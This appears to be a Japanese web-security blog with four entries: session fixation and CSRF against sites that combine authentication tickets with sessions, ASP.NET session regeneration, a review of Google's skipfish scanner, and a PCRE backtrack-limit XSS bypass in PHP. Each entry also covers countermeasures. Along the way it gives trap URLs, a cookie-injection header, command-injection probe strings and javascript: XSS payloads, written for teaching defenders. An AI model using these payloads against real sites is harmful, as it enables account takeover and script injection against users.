本来の正常なフローであれば、inputProfileBack.cgiはセッションID・認証チケットともに被害者のもの(Cookie)を受け取ります。しかし、前述のように攻撃者は被害者の認証チケットを入手することはできません。そのため、被害者の認証チケットの代わりに攻撃者の認証チケットを付けて入力画面にアクセスしています。何らかの認証チケットがないと、常にログイン画面にリダイレクトするようなアプリでは、このような小細工が必要です。

アプリ(inputProfileBack.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、アプリにとっては有効な認証チケットと、有効なセッションIDの両方を受け取ることになります。アプリは素直にセッション変数内にある被害者の個人情報を埋め込んだ画面を攻撃者に返してしまうでしょう。

1.2 別人でコミットさせる

セッションIDが都度変化するような対策が施されている場合には、1.1の攻撃は成功しません。しかし他の方法による攻撃が成功する場合もあります。

さきほどと同じく、ログイン後に個人情報を変更するアプリを取り上げます。被害者は、個人情報の入力を終えて確認画面を表示しているとします。被害者のセッション変数には、入力された被害者の個人情報が保存されており、攻撃者はこれを奪おうとしています。

攻撃者はまず、被害者に以下のURLを踏ませます。

https://login.example.jp/login.cgi
        ?UserID=evil&password=evilpass

login.cgiはログインを行うCGIです。このURLを踏まされた被害者は、攻撃者の会員アカウントである"evil"でログインした状態("evil"の認証チケットCookieを持つ状態)となります。

一方、被害者のセッション変数には相変わらず被害者の個人情報が入っています。したがって、このまま被害者に個人情報変更を完了させれば、セッション変数内の被害者の個人情報を、攻撃者アカウントのものにすることができるかもしれません。

被害者に個人情報変更を完了させるには、通常はCSRF対策を突破しなければなりません。CSRF対策方法にもいくつかの種類がありますが、このアプリではパスワードを入力させるタイプのCSRF対策が取られていたとします。そうであれば、CSRF対策を突破するのは簡単です。

被害者に以下のURLを踏ませます。

https://www.example.jp/commitProfileChange.cgi
        ?Password=evilpass

commitProfileChange.cgiは個人情報変更を確定させるCGIです。被害者は今や"evil"でログインした状態ですので、ここでは"evil"のパスワードである"evilpass"をパラメータとしてつければよいことになります。

先ほどの1.1と同じく、アプリ(commitProfileChange.cgi)がセッション変数内の個人情報の持ち主である会員と、認証チケットが指し示す会員が同じかをチェックするロジックを持たないならば、セッション変数内の被害者の個人情報は、攻撃者の"evil"アカウントに紐付いて会員情報DBに保存されるでしょう。攻撃者は自分のアカウントである"evil"でログインして会員個人情報を参照するページに行けば、被害者の個人情報を盗み見ることができます。

ちなみに個人情報変更のCSRF対策として、パスワード以外のものを使うアプリも多くあります。そういう場合には、別のもう少し手のかかる方法を使って被害者に変更確定を強制できる場合もありますし、被害者が確認画面上の変更確定ボタンを押すのをじっと待つしかないこともあります。

なお、ここで書いたような攻撃(無理やり別人アカウントでログインさせた上で、変更をコミットさせる攻撃)は、認証チケットを使っているサイトでのみ成功するわけではありません。ルーズな処理を行っているならば、セッションだけを使っているサイトでも成功することがあります。

1.3 CSRF

今度はCSRF(Cross Site Request Forgery)攻撃です。今までと違って、攻撃者の狙いは被害者の情報を奪うことではなく、攻撃者が指定した値で被害者に個人情報変更を実行させることです。

認証チケットとセッションを併用するサイトにおいては、会員アカウントと紐付かないCSRF対策用のトークンを使用している問題に起因するCSRF脆弱性がしばしばみられます。

そのような問題を持つ場合、以下のような手順で攻撃が成功します。

まず、攻撃者は自らのアカウントでログインして個人情報変更の確認画面まで進めます。これにより、攻撃者のセッション変数には、攻撃者が入力した個人情報が保存されます。先ほどまでのアプリとは違い、このアプリではCSRF対策にワンタイムトークン(AntiCSRFToken)が使われているとしましょう。攻撃者は自身の確認画面のhiddenに入っているワンタイムトークンと、自身のセッションID(Cookie)をメモしておきます。

そして、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます(commitProfileChange.cgiは個人情報変更を確定させるCGIです)。

https://www.example.jp/commitProfileChange.cgi
        ?SessID=(攻撃者のセッションID)
        &AntiCSRFToken=(攻撃者のトークン)

被害者が罠を踏むと、サーバに送信される認証チケットCookieは被害者のものです。同時に送信されるセッションIDとCSRF対策用トークンは攻撃者のものです。

アプリが、セッションやトークンをアクセスしている会員と関連付けていない場合、アプリは受け取ったセッションIDとトークンを「妥当なペアである」と判断して、会員情報DBへの書き込み処理を進めようとするでしょう。アプリが受け取るセッションIDとトークンは、攻撃者が実際に自分のアカウントでログインして確認画面から取得した"本物"だからです。

攻撃者が入力した個人情報はセッション変数に入っています。これもアプリが会員と関連付けていないならば、この個人情報は被害者アカウントのものとして会員情報DBに登録されるでしょう。というのは、被害者が罠を踏んだ時にアプリに渡される認証チケットCookieは、被害者アカウントのものだからです。

2.最初だけ認証チケットを見るタイプ

「1.セッションIDと認証チケットの両方を見るタイプ」のアプリは、認証チケットとセッションの両方を、独立して使用するタイプのものでした。

それに対して、ここで取り上げる「2.最初だけ認証チケットを見るタイプ」のアプリは、最初のタイミングで認証チケットをデコードして会員IDを取り出し、それをセッション変数に保存します。既にセッション変数に会員IDが保存されている状況では、認証チケットは参照せずに、セッション変数の会員IDだけを見てアクセス者がどの会員なのかを識別します。

このようなアプリでも、セッション固定の脆弱性は多くみられます。

まず、攻撃者はWebサイトにアクセスしてセッションID Cookieを取得します。その後に、認証チケットCookieのみを持っている被害者を、以下のような罠のURLにアクセスさせます。

https://www.example.jp/id_init.cgi
        ?SessID=(攻撃者のセッションID)

id_init.cgiは、認証チケットをデコードして会員IDを取り出して、セッション変数に保存する処理を行うものだと思ってください。

攻撃者がつけたGETパラメータのセッションIDは、被害者の認証チケットCookieとともにWebアプリに送られます。アプリは認証チケットから被害者の会員IDを取り出して、それを攻撃者のセッション変数に保存してしまいます。

セッションIDがこのタイミングで変化しないならば、攻撃者はそのセッションIDを使ってアプリにアクセスすることで、被害者会員へのなりすましに成功します。

対策

様々な対策方法が考えられますが、なるべくシンプルなものを挙げます。まずは対策が簡単な「2.最初だけ認証チケットを見るタイプ」の対策から説明します。

「2.最初だけ認証チケットを見るタイプ」の対策

このタイプの対策は、通常のセッションのみを使うアプリと基本的に変わりません。

  1. ログイン時に、セッションIDを変更する。
  2. セッション変数内の情報をログイン時に消す。

ひとことでいうと、「ログイン時にセッションを再生成せよ」ということになります。

注意が必要なのは、ここでいう「ログイン」とは「認証チケットをデコードしてセッション変数に入れる」タイミングであるということです。また、2番目の「セッション変数内の情報をログイン時に消す」については、「1.2 別人でコミットさせる」のようなタイプの攻撃への対策として必要です。

「1.セッションIDと認証チケットの両方を見るタイプ」の対策

こちらは様々な対策方法がありますが、大きく分けて2つのアプローチがあると思います。

セッションと会員を関連付ける対策

既にみたように、このタイプのアプリへの攻撃の常とう手段は、セッションIDと認証チケットの片方を攻撃者のものに置き換えることです。ですので、両者をきちんと関連付けして、片方だけを置き換えられないようにしようというのが基本的な考え方です。

具体的には、会員と紐付けられるべき情報をセッション変数に出し入れする際に、(最低限)以下の処理を行います。

  1. 最初に、セッションがどの会員のものであるか、セッション変数に"しるし"をつける。
  2. 認証チケットが指し示す会員と、セッションに付けた"しるし"が異なる場合はエラーとする。

ASP.NETのFormsAuthenticationとセッションを同時に使う場合には、この方法をとるしかないと思います。

なお、セッションをまるごと会員と関連付けるのではなく、セッション変数内の個別の情報の単位で会員と関連付ける方法もあります。

セッションと会員を関連付けない対策

会員とセッションの関連付けをしないのならば、以下の対策が必要です。

  1. セッション変数に書き込みを行う都度、セッションIDを変更する。
  2. CSRF対策用トークンには、会員と紐付く情報(認証チケットやパスワード)と、セッションと紐付く情報(セッションIDそのものやセッション変数に入れたトークン)の両方を使う。

このケースでは、セッションは会員と関連付かないため、ログイン前のセッション固定対策と同じように、毎回のセッションID変更が必須となります。

また、CSRF対策には2つのトークンが必要になります*3。なぜならば、このケースでは、ユーザは「認証チケットを持ったある会員」という顔と、「セッション変数の持ち主である匿名の誰か」という2つの顔を持つ存在であり、2つの顔の片方が置き換えられないようにする必要があるからです。

しかし、一人のユーザが2つの顔を持つという状況はややこしいので、セッションと認証チケットを関連付けするか、「1.最初だけ認証チケットを見るタイプ」にした方が無難ではないかと思います。

*1:認証チケットのことをセッションと呼ぶこともあるため紛らわしいですが、この日記でいう認証チケットとは、ログイン時に発行され、チケットそのものに会員IDやログイン有効期限等の情報を含んでいるトークンを指しています。またセッションとは、JSESSIONID、PHPSESSID、ASP.NET_SessionIdなどのように、キーをクライアントにCookie等の形で渡して、それに紐付く情報をサーバ側のセッション変数に保存できる仕組みを指しています。

*2:私自身も過去にこのようなシステムの開発に携わっていました。

*3:正確には、2つを統合した1つのトークンを使うことも可能です。

2010-04-24

[]ASP.NETのセッション固定対策 15:55 ASP.NETのセッション固定対策を含むブックマーク

本日は、ASP.NETでログイン機能をつくる際のセッション固定対策について書きます。

ログイン状態の管理には、ASP.NETが提供するセッション機構(ASP.NET_SessionId Cookie)を使っているとします。

ASP.NETでのセッション再生成

ログイン機能のセッション固定対策は、ログイン時に新たなセッションを開始することです。既存のセッションがなければ新たにセッションを開始し、既存のセッションがあるならばそのセッションは再生成されなければなりません。

しかし、ASP.NETはセッションを再生成する方法を提供していません。

それはJavaも同じなのですが、TomcatだとHttpSession#invalidateでセッションを無効化することで、セッションを再生成することができます*1

ASP.NETでも普通に考えると、Session.Abandonという同等のメソッドを利用することでセッションを再生成できそうだと考えてしまいますが、Session.Abandonには以下のような問題があります。

ところで、Abandonメソッドのドキュメントをよく読むと、次の記述がある。

Abandon メソッドを呼び出すと、現在のセッションが無効になり、新しいセッションを開始できます。Abandon により End イベントが発生します。次の要求に対して Start イベントが発生します。

Abandonメソッドで破棄したセッションオブジェクトに代わる、次のセッションオブジェクトが生成されるのは、Abandonメソッドを呼び出したHTTPリクエストの、次回のHTTPリクエスト時だというのだ。

ASP.NETで「ログイン成功後に新しいセッションを開始」は可能なんだろうか? - 熱燗ロックのブログ

引用元の「熱燗ロックのブログ」が問題を判り易く解説していますが、私なりにまとめると、

  1. ログイン成功時にSession.Abandonを呼ぶとセッションが無効化されるが、新しいセッションは次のリクエストを発行するまで開始されない。
  2. そのためログイン成功時にセッション変数にユーザID等を保存して、それを次のページに引き継ぐことができない。

ですので、次のページに安全に(改竄されない形で)ユーザID等を渡すにはどのようにすればよいのか?という問題が生じます。

安全に(改竄されない形で)データを渡す

改竄防止を意図すると、ログイン成功時に以下のような応答を返す方法が考えられます。

<form action="SessionRegenerate.aspx" method="post">
<input type="hidden" name="UserID" value="(UserID)">
<input type="hidden" name="MAC" value="(改竄を防止するためのMAC)">
<input type="submit" value="次へ">
</form>

この画面で、ユーザが「次へ」ボタンをクリック(もしくはJavaScriptで自動サブミット)すると、UserIDが改竄防止のためのMACとともにSessionRegenerate.aspxに渡されます。SessionRegenerate.aspxではMACを検証して、改竄がされていなければセッション変数にユーザIDを格納する処理を行います。

// SessionRegenerate.aspx

String UserID = Request.Form["UserID"];
String MAC = Request.Form["MAC"];

If (checkMAC(UserID, MAC)) {
    Session["UserID"] = UserID;
    Response.Redirect("MemberTop.aspx");
}

なお、ASP.NETには改竄対策が施されたViewStateやFormsAuthenticationTicketといった仕組みがあるため、実際にはMACを独自実装する必要はありません。上のコードでMACを使っているのは、単にその方が説明がしやすいという理由です。

Session Adoption

しかし、このMAC(あるいはViewState等)を使う方法はうまく機能しません。そもそもの話としてこの通りに実装するとセッション変数はクリアされるものの、セッションIDが変更されないのです。

実はASP.NETは無効になったセッションIDであっても再利用してしまう"癖"があります。そのためSessionRegenerate.aspxは、その前のログイン処理でAbandonされたセッションIDの値を変更することなく使い続けます。

この癖に対処するためには、ログイン処理でCookie(ASP.NET_SessionID)を消してサラな状態にしてから、SessionRegenerate.aspxに移動しなければなりません。

// Login.aspx

If (checkPassword(UserID, Password)) {
    Session.Abandon();
    // Cookieを消す
    HttpCookie c = new HttpCookie("ASP.NET_SessionId", "");
    Response.Cookies.Add(c);
}

なんとも汚い感じでいやなのですが、この辺りはどうも仕様のようで、Microsoftのサポートページ(ASP.NET でセッション ID が再利用されるしくみと理由について)でも同じ方法が紹介されています。

なお、ASP.NETが無効になったセッションIDを再利用するという事実は、ASP.NETにSession Adoptionの問題があることを示唆しています。実際のところ、一定の長さや文字種類の条件を満たすセッションIDであればなんでもASP.NETは受け入れてしまいます*2

この方法の問題点

Cookieを消すコードをLogin.aspxに追加することで、ようやくログイン時にセッションが再生成されるようになります。一見するとこれで所期の目的を達成したかのようですが、実はまだ問題があってセッション固定攻撃を成功させることができます。

攻撃のシナリオは2つあります。

シナリオ1

1つ目のシナリオでは「消えないCookie」を使います。

// Login.aspx

HttpCookie c = new HttpCookie("ASP.NET_SessionId", "");
Response.Cookies.Add(c);

これは、上のアプリのログイン処理(Login.aspx)で使われているCookieを消すコードです。これにより、下のSet-Cookieヘッダが返されます。

Set-Cookie: ASP.NET_SessionId=; path=/

攻撃者は、このコードでは消えないようなCookieを被害者のブラウザに植えつけておきます。

Cookieを消させない方法の1つ目は、Cookieのスコープを利用するものです。Cookieを削除するには、発行された時と同じドメインやパスを指定しなければなりません。しかし、ブラウザから送られるCookieのドメインやパスをサーバ側で知る方法はなく、決め打ちして削除を試みるしかありません。ですので、うまいことドメインやパスを操作したCookieを被害者のブラウザに植えつけておけば、Cookieは消されなくなります。

攻撃者のCookieが消えずに、被害者のUserIDとそのMAC(POSTパラメータ)とともにSessionRegenerate.aspxに送られれば、SessionRegenerate.aspxは攻撃者のセッションIDを被害者のアカウントでログインした状態に変えてしまいます。

2つ目の方法は、事前に被害者に植えつけておくCookieの名前や値を操作するものです。例えば「asp.net_sessionid」のような小文字のCookieを被害者のブラウザにセットします。ブラウザはCookieの大文字・小文字を区別するため、このCookieは上のSet-Cookieヘッダによって削除されません。一方でASP.NETは基本的にCookieの大文字・小文字を区別しないため、小文字でもセッションIDとして受け入れてしまいます*3

シナリオ2

2つ目のシナリオはタイミングを利用します。

Login.aspxの応答のSet-CookieヘッダによってCookieが消されてから、SessionRegenerate.aspxにアクセスするまでの間には時間があります。この間に、被害者のブラウザにセッションID Cookieを植えつけます。

これは針の穴を通すような攻撃ですが、成功する可能性はゼロではありません。

Cookieが無いことを確認する

上の攻撃シナリオ1,2に対処するために、ログイン成功直後にアクセスするSessionRegenerate.aspxを以下のように変更します。

// SessionRegenerate.aspx

// リクエストにCookieがない && MACが正しいことを確認する
If (Request.Headers["Cookie"] == null && checkMAC(UserID, MAC)) {

    Session["UserID"] = UserID;
    Response.Redirect("MemberTop.aspx");
}

何らかのCookieが付いている場合にはログイン処理(セッション変数にユーザIDを格納する処理)をさせないようにしています。

これにより、いかなるCookieも持たないサラな状態でSessionRegenerate.aspxにアクセスすることが保証されます。サラな状態でアクセスした場合には、常に新しいセッションが開始されます。

ところで、この方法だとASP.NET_SessionId以外のCookieも禁止されてしまうという弊害があります。本当はASP.NET_SessionIdだけを禁止できればよいのですが、ASP.NETのHttpCookieCollection(Request.Cookies)はそのようなことができないように作られています。

Cookie のコレクションは常に ASP.NET_SessionId の値を持っているため、Cookie が存在するかどうかを単にテストすることはできません。

ASP.NET でセッション ID が再利用されるしくみと理由について

つまり、例えばFooという名前のCookieがリクエストに存在するかは「Request.Cookies["Foo"]」がnullか調べることで確認できますが、「ASP.NET_SessionId」については同じ方法で確認することができません。

シンプルにする

上のプログラムでは、ユーザIDとパスワードを受け取った後に、MAC(もしくはViewStateなど)を生成して次のページに渡していますが、よくよく考えてみるとそのような面倒なことは不要であることが判ります。

つまり、以下のような処理をすれば、ログイン成功のタイミングでセッションが新たに生成されます。

1. Session.AbandonとCookieを消す処理をしてログインフォームをユーザに返す

2. ログイン処理(ユーザIDとパスワードを受け取り検証する処理)で、

 2-1. Cookieが無い && パスワードが正しければ、セッション変数にユーザIDを入れる

 2-2. そうでなければ1の処理を行う

要は、ASP.NETはSession.Abandonした次のリクエストでセッションを再生成するため、セッションを再生成させたいリクエストよりも1つ手前でSession.Abandonしてやるということです*4

なお注意が必要なのは、これはASP.NETに限ったある種のハックです。PHPやJava(Tomcat)のようにセッションをアトミックに(単一のリクエスト・レスポンスで)再生成する機能を持つプラットフォームを使っているのならば、ログイン成功時にセッションを再生成すれば済む話です。

とりあえずのまとめ

以上、ASP.NETでセッションを再生成する方法について書きました。

まとめると、ASP.NETはまともにセッションを再生成する機能を提供していません。そのため、ASP.NET_SessionIdを使ったログイン状態管理を行う場合には、ダーティーでなおかつ制約のある方法でしかセッション固定対策はできないという結論です。

したがって、基本的にはASP.NETのセッション機構を使用してログイン状態を管理する方式はお勧めできません。

それではどうすればよいかというと、ASP.NETが提供するフォーム認証機構であるFormsAuthenticationをログイン管理に使います。Microsoftも、通常のセッションではなくこれを使うべしと考えています(多分)。

FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組みです。これらの処理はアプリ側の作りこみをほとんどせずに利用できます。この仕組みを使うならば、セッション固定によるなりすましを避けるために、無理やりにセッションIDを変更する必要もありません。

私自身はFormsAuthenticationは自由が利かずに使いづらいと思っていましたが、よくよく調べてみるとそうでもありませんでした。IDとパスワードの検証は自作のメソッドで行って、認証チケットの発行とそのデコードの仕組みだけをアプリから利用することもできますし、Cookieが使えないデバイスにも対応できるようになっています。

ただし、FormsAuthenticationを使えばセッションに関わる問題が全て解決するかというと、実はそうではありません。セッションIDと認証チケットを分離しているアプリの注意点については、またあらためて書きたいと思います。

補足:Cookieの固定化

今日の日記は、他人のブラウザに対してCookieを固定化できることを前提として書いています。

Cookieの固定化はブラウザ側(FirefoxやSafari)でCookie Monster対策が進められてきており、以前よりもリスクは減っていると思います。

とはいっても、少なくともHTTPSを使うサイトや地域型JPドメインを使うサイトでは、現実的な問題ととらえて対処すべきだと思います。

その理由について少し補足すると、まずHTTPSのサイトは攻撃者が通信経路にいても安全であることが期待されます。仮に攻撃者が通信経路にいるならば、対象サイトへのHTTPの(HTTPSではない)リクエストを被害者のブラウザに発行させて、Set-Cookieヘッダを付けたレスポンスを勝手に返すことで、被害者のブラウザに好きなCookieを植えつけることができます。

また地域型JPドメインについては、IEはバージョン8になった現在でもtokyo.jp等ドメインへのCookieの発行を許すCookie Monsterバグを持っています。

補足:Microsoftへの機能追加要望

本日の日記に書いた、ASP.NETでまともにセッション再生成ができない問題は以前から知られています。Microsoft Connectには、セッション再生成機能を追加する要望が出されてもいます。

参考:Error

ですが、このページを見る限りMicrosoftに機能追加の意思はないようです。「ログインではFormsAuthenticationを使え、フォームではViewStateを使え」ということなのかもしれませんが、それならばセッションは何のためにあるんだ?という疑問がわいてきます。

Microsoft Connectには、機能追加やバグ修正要望に対して、他人が賛成・反対票を投じる機能がありますので、この機能追加要望に賛成票を投じておきました。

補足:ASP.NETのバージョン

ASP.NETのバージョン2(2.0.50727)で検証しています。

*1:私自身は検証していませんが、JBossではセッションIDの値が変わらない実装がされているとの話もあります。
afongen » Generate new session ID in Java EE?

*2:ただし、AdoptionされるのはCookieを使う場合だけで、URLにセッションIDを埋め込む方式を選択した場合には、無効なセッションIDを受け入れない設定であるregenerateExpiredSessionIdが有効になります。このあたりは、HttpSessionState.IsCookieless プロパティ (System.Web.SessionState)で背景を含めて説明されています。

*3Set-Cookie: a="1;ASP.NET_SessionId=qftslj3ooxlf5j552jly2p55;b=1"; path=/のようなCookieを植えつけておく手もあります。ブラウザ(Firefox)にとっては、これはaという名前の1つのCookieですが、Cookieヘッダでこれを受け取ったASP.NETは3つのCookieであると解釈します。

*4:ただしURLにセッションIDを埋め込む方式の場合、この手は使えません。Session.Abandonした次のリクエストでは新たなセッションIDを埋め込んだURLに302でリダイレクトさせる応答が返るため、POSTで送ったユーザIDとパスワードの情報が失われるためです。

2010-04-10

[]skipfishをためす 17:22 skipfishをためすを含むブックマーク

Googleから新しい検査ツールが出たとのことで、中身を見てみました。

skipfish - web application security scanner - Google Project Hosting

ツールの作者はRatproxyと同じくMichał Zalewski氏ですが、今回のツールはRatproxyとは違って"Active"な検査ツールです。

最新版のVersion 1.29ベータをダウンロードして使ってみました。

シグネチャと検査結果

こちらのページを参考にしてダウンロード・インストールしました。

skipfishインストールメモ | 俺のメモ

プログラムはC言語で書かれており、ヘッダファイルを含めて10KL程度の規模です。

インストール後にツールを起動すると、開始点として指定したページからリンクをたどって自動的に検査してくれます。検査が終わるとHTMLのレポートを出力してくれます。

私が検査対象としたアプリは、Oracleデータベースを操作する20個くらいのServletで、そのすべてにSQL Injection脆弱性があります。

検査は起動後4〜5分程で終了しました。この間にツールが送信したHTTPリクエストは10万を超えており、たかだか20個ほどのServletに対する検査としては多すぎます。実は、skipfishにはWebサーバのディレクトリやファイルを辞書探索して検査対象を見つけ出す機能があり、リクエストの大半はそこに費やされていました。

SQL Injectionについて

SQL Injectionについては、20個ほどのアプリのうちツールで検出できたのは2個だけでした。この2個はいずれもSELECT文のWHERE句の数値リテラルにインジェクションするタイプのものです。この2個のうち1つはBlindタイプ(=SQLエラーメッセージがHTMLに出ないもの)です。

数値リテラル以外はどうかというと、文字列リテラルや「ORDER BY」等にインジェクションするものは、SQLエラーがHTMLに出力されるものを含めて検出されませんでした。

理由を探るべくログやソースコードを見てみたところ、SQLインジェクションはBlind的な判定しか行っておらず、さらに文字列リテラルの検査としては以下の3つのパターンしかないことが判りました。

0:  \'\"
1:  '"
2:  \\'\\"

判定は「0の応答≠1の応答 かつ 0の応答≠2の応答」の場合にPositiveとしています。文字列リテラルのエスケープに「\」が使用可能なデータベース(基本的にMySQLと一部のPostgres)を念頭にシグネチャが作られていることが判ります。

なので、それ以外のデータベースの文字列リテラルへのインジェクションは検出できません。また、MySQL用の検査パターンとしても少々物足りない感じです。

それ以外の検査パターン

検査パターンは「crawler.c」ファイルに書かれています。このファイルをみると判りますが、Blind方式で様々な脆弱性を検出するように作られています。

そのうち、わかりやすいものをいくつか挙げます。

OSコマンドインジェクション

バッククォートを使ってコマンドを動かし、Blind的な判定を行います。

0:  `true`
1:  `false`
2:  `uname`

3:  "`true`"
4:  "`false`"
5:  "`uname`"

6:  '`true`'
7:  '`false`'
8:  '`uname`'

「0の応答≒1の応答 かつ 0の応答≠2の応答」の場合にPositiveと判定しています。3〜5、6〜8も同様の判定を行っています。

明示的にShellをたたいて、その結果をHTMLに出力しているようなアプリについては、このパターンで検出できそうです。しかし、そうでないケース(=このアプローチでは検出できないケース)はかなりあると思います。

また、3〜5のパターンは「"」の内側にインジェクションするケースを想定しているのだと思いますが、その場合には0〜2で検出できるので不要な気がします。

OGNL Statement Excecution

これは、おそらくStruts2(XWork)のOGNL文実行の脆弱性(OpenSymphony, RIP (2000 - 2011)[WW-2030] User input is evaluated as an OGNL expression - ASF JIRA、他)を意識したものだと思います。

おおざっぱに言うと、skipfishは以下のようにパラメータ名・値を変化させて、「0の応答≒1の応答」の場合にPositiveと判定しています。

0:  foobar=123
1:  [0]['foobar']=123

しかし、これだけだとOGNL likeなパラメータハンドリングがされていることはわかっても、本当に脆弱性があるかどうかまではわかりません。

ちなみに、struts2の脆弱性は、パラメータ名の処理だけではなく値の処理の方にもありました。そちら(値の処理の脆弱性)を利用する方が確実にコマンドの実行を判定できるので、私の自作ツールではそのようなシグネチャを使っています。

おわりに

今回は網羅的に調べたわけではありませんが、まだ試作段階のツールといった感じを受けました。

しかし、セールスポイントである"高速性"については宣伝通りです。localhostの80ポートに対する検査とはいえ、4〜5分のうちに10万を超えるリクエストを発行する能力はすごいです。その能力は、上述したサーバ上のディレクトリやファイルを辞書探索する機能で活かされています。

また、ドキュメント(SkipfishDoc - skipfish - Project documentation - web application security scanner - Google Project Hosting )をみると、Ratproxyと同じくXSSやJavaScript/JSON関係は色々と検査してくれるようです。今回はその辺は全く見てませんが、突っ込んでみてみると面白いかもしれません。

[]マッチするはずの正規表現がマッチしない現象 16:47 マッチするはずの正規表現がマッチしない現象を含むブックマーク

今日は、PHPでよく使用される正規表現エンジンであるPCRE(Perl Compatible Regular Expression)の、余り知られていない(と思う)制約について書きます。

プログラム

題材は下のPHPプログラムです。

<?php
header('Content-Type: text/html; charset=latin1');

$url = $_REQUEST['url'];

if (preg_match('/^(.*?):/s', $url, $match)) {
    $scheme = $match[1];
    if ($scheme !== 'http' && $scheme !== 'https') {
        exit;
    }
}

echo '<a href="'. htmlspecialchars($url). '">link</a>';

外部から受け取った「url」パラメータを、A要素のhref属性値に出力するプログラムです。HTMLに出力する際に、htmlspecialchars()によるエスケープをしています。また、URLにスキームが付いている場合には、スキームがhttp・httpsのいずれかであるかチェックして、そうでない場合はexitします。

このプログラムのロジックはあまりスマートではありませんが、少なくともXSS攻撃に対して安全なように見えます。私自身も、少し前まではそう思っていました。ところが実際には「ある方法」を使うことで、このプログラムのチェックは回避されてしまいます。

DOTALLオプション

上の「ある方法」についての話からはそれますが、この手の正規表現で比較的多いであろう間違い(私自身も実際に何件か遭遇したことがある間違いです)について書きます。

その間違いとは「.」が全文字にマッチすることを期待していながら「DOTALL」オプションをつけ忘れるというものです。DOTALLがないと「.」は改行文字(PCREでは基本的にU+000A)にマッチしないため、下のような値を与えるとチェックをすりぬけることができます。

url=[0x0A]javascript:alert(111)

しかし、冒頭のプログラムの正規表現にはs修飾子(DOTALL)がついているため、この手は使えません。攻略するには別の方法をとらなければなりません。

PCREの上限値

話が脇にそれましたが、ここから本題です。

実は冒頭のプログラムは、以下のPHP設定の上限値を悪用することで攻略できます。

名前 デフォルト 変更の可否 変更履歴
pcre.backtrack_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能
pcre.recursion_limit "100000" PHP_INI_ALL PHP 5.2.0 以降で使用可能

(省略)

pcre.backtrack_limit integer

PCRE のバックトラック処理の制限値です。

pcre.recursion_limit integer

PCRE の再帰処理の制限値です。この値を大きくすると、 使用可能なプロセススタックを使い切ってしまい、 (OS のスタックサイズの制限値に達して) PHP をクラッシュさせてしまうことに注意しましょう。

PHP: 実行時設定 - Manual

実行時にこれらの上限を超えてしまうと何が起こるかというと、preg_match関数は「マッチしなかった」ときと同じく「0」を返します(preg_replace関数の場合は、上限を超えるとNULLを返します)。

冒頭のプログラムは、正規表現にマッチしない値は「安全」とみなすロジックになっています。このため上限を超えるような値を与えて本来はマッチするもののマッチを失敗させることで、攻撃を成功させることができます。

具体的には、設定値がデフォルト(100,000)から変更されていない場合、以下の文字列を与えてやればXSS攻撃が成功します。

Firefox:
 url=(100,000個の[0x0A])javascript:alert(123)

IE:
 url=javas(100,000個の[0x00])cript:alert(123)

対策

冒頭のような単純なチェックであれば、正規表現を使わずに、より高速に動作するコードを書くことができます。しかし、ここではPCREを使うことを前提にした対策を書きます。

根本的な対策

上限値を超えたり、PCRE内で何かエラーが発生した場合、そのエラーコードはpreg_last_error関数で取得できます。バックトラックなどの上限に到達したことも、この関数で知ることができます。

これを利用して、下のコードのようにPCREのエラーを拾うことで、この種の攻撃を防ぐことができます。

<?php
if (preg_match('/^(.*?):/s', $url, $match)) {
    (省略)
}
elseif (preg_last_error() !== PREG_NO_ERROR) {
    exit;
}

もしくは、セキュリティに関わるチェックをPCREで行う場合は、マッチに失敗しうることを前提としたフローにするという対策もあります。要は「マッチしない場合はチェックOK」のフローはダメということです。

他の対策

他にも対策は考えられます。

  • 入力値の長さを制限する AND/OR 設定を変更して上限値を大きくする
    設定の上限値を大きくしても上限がなくなるわけではないことに注意が必要です。また、入力値の長さ制限も、どこまで制限すればよいのかの判断は難しいです。例えば、マッチ対象の文字列を100文字に制限しても、パターン次第では100回以上バックトラックが起こることがあります。
  • バックトラックや再帰処理が発生しにくいパターンにする
    例えば、冒頭のプログラムの場合、パターンを「/^([^:]*?):/s」にすればバックトラックの回数は大幅に減りました。ただ、ある正規表現が十分に効率的なものなのかを判断するには、正規表現エンジンについてのそれなりの知識が必要だと思います(私自身には無理です)。

この2つの対策は、それを実践したり、本当に正しく実践されているかの確認が難しいところがあります。ですので、あくまでも保険的な対策と考えるのがよいと思います。

上限値が存在する理由

実はバックトラックや再帰処理の上限値は、PHP固有のものではなく、PCREライブラリにもともと存在している設定項目です。PHPの設定値は、PHPからPCREライブラリを使う際の上限値をPCREにセットしているだけです。

したがって、PCREライブラリを使う全てのアプリケーションは、(PHPとは無関係のものであっても)PCREの上限値の影響を受けます。ちなみに、PCREライブラリ自体のデフォルトの上限値は、いずれも10,000,000です。PHPでPCREを使う際のデフォルト値よりも2ケタ大きい値となっており、PHPよりも影響は受けにくいのは確かですが、それでも上限値は存在します。

それでは、なぜこのような設定項目がPCREに存在するのかということですが、これはパターンを細工してマシンに過剰な負荷をかけさせたり、エンジンのバグを突くような攻撃の影響を軽減するためのセキュリティ機能だと思います。

なお、PHP(5.2以降)では、前述のようにPCREのデフォルトよりも2ケタ小さい上限値(100,000)が使われますが、この上限値はPCREがリソースを食いつぶすバグの影響を軽減するために導入された可能性があります。

参考:PHP :: Bug #40909 :: Segmentation Fault with preg_match_all

PCRE以外のエンジン

ちなみに、このような上限が実装されているのはPCREだけではないようです。試してませんが、Perlの正規表現エンジンも、以下のようなWarningを吐くことがあるようです。

参考:Complex regular subexpression recursion limit - Google ????

それ以外の正規表現エンジンについては、軽くググってみたものの、上限が存在するものを見つけることはできませんでした。

テストした環境

PHP5.3.2+PCRE 8.00の環境で試しています。